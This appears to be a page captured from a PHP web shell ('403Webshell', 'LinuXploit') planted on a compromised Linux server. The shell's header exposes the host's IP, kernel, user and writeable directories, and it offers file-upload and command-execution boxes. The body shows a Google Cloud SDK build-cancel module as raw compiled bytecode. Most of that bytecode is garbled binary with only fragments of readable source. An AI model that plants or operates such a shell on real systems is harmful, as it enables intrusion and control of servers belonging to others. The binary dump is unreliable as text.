403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/builds/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/builds/__pycache__/cancel.cpython-311.pyc
�

��b���dZddlmZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZdd	lm
Z
dd
lmZddlZGd�d
ej��ZdS)zCancel build command.�)�absolute_import)�division)�unicode_literals)�cloudbuild_util)�base)�flags)�log)�
properties)�	resourcesNc�8�eZdZdZddd�Zed���Zd�ZdS)�CancelzCancel an ongoing build.z�
            To cancel a build `123-456-789`:

                $ {command} '123-456-789'

            You may also cancel multiple builds at the same time:

                $ {command} '123-456-789', '987-654-321'
            )�DESCRIPTION�EXAMPLESc��tj|��|�dtjdd���|j�d��dS)N�builds�+zIDs of builds to cancel)�	completer�nargs�help)r�
AddRegionFlag�add_argument�BuildsCompleter�display_info�	AddFormat)�parsers �lib/surface/builds/cancel.py�ArgszCancel.Args/s^��	������
�����'��
&�	�(�(�(�
��!�!�$�'�'�'�'�'�c�Z�|jptj}tj��}tj��}g}|jD]�}tj�|tj
jjj
||d�d���}|j�|�|���|j|j�����}t(j�d�t1j|�������|�|����|S)z�This is what gets called when the user runs this command.

    Args:
      args: an argparse namespace. All the arguments that were provided to this
        command invocation.

    Returns:
      Some value that we want to have printed later.
    )�
projectsId�locationsId�buildsIdz$cloudbuild.projects.locations.builds)�params�
collection)�name�	projectId�idzCancelled [{r}].
)�r)�regionr�DEFAULT_REGION�GetClientInstance�GetMessagesModulerr�REGISTRY�Parser
�VALUES�core�project�	GetOrFail�projects_locations_buildsr
�CancelBuildRequest�RelativeNamer r"r	�status�write�format�six�	text_type�append)	�self�args�build_region�client�messages�	cancelled�build�	build_ref�cancelled_builds	         r�Runz
Cancel.Run9s'���;�@�/�"@�L�
�
.�
0�
0�F��0�2�2�H��I���(�(���$�*�*�
�&�-�2�:�D�)����
<�+�=�=�i��8�?�?�
�
%�
%��)�)�+�+�!�,��#�&���
�
�o�
�j���+�2�2�S�]�9�5M�5M�2�N�N�O�O�O�����'�'�'�'��rN)�__name__�
__module__�__qualname__�__doc__�
detailed_help�staticmethodrrE�rrr
r
sZ������ � �%����-��(�(��<�(�!�!�!�!�!rr
)rI�
__future__rrr�!googlecloudsdk.api_lib.cloudbuildr�googlecloudsdk.callioper�!googlecloudsdk.command_lib.buildsr�googlecloudsdk.corer	r
rr9�Commandr
rLrr�<module>rSs�����&�&�&�&�&�&�������'�'�'�'�'�'�=�=�=�=�=�=�(�(�(�(�(�(�3�3�3�3�3�3�#�#�#�#�#�#�*�*�*�*�*�*�)�)�)�)�)�)�
�
�
�
�<�<�<�<�<�T�\�<�<�<�<�<r

Youez - 2016 - github.com/yon3zu
LinuXploit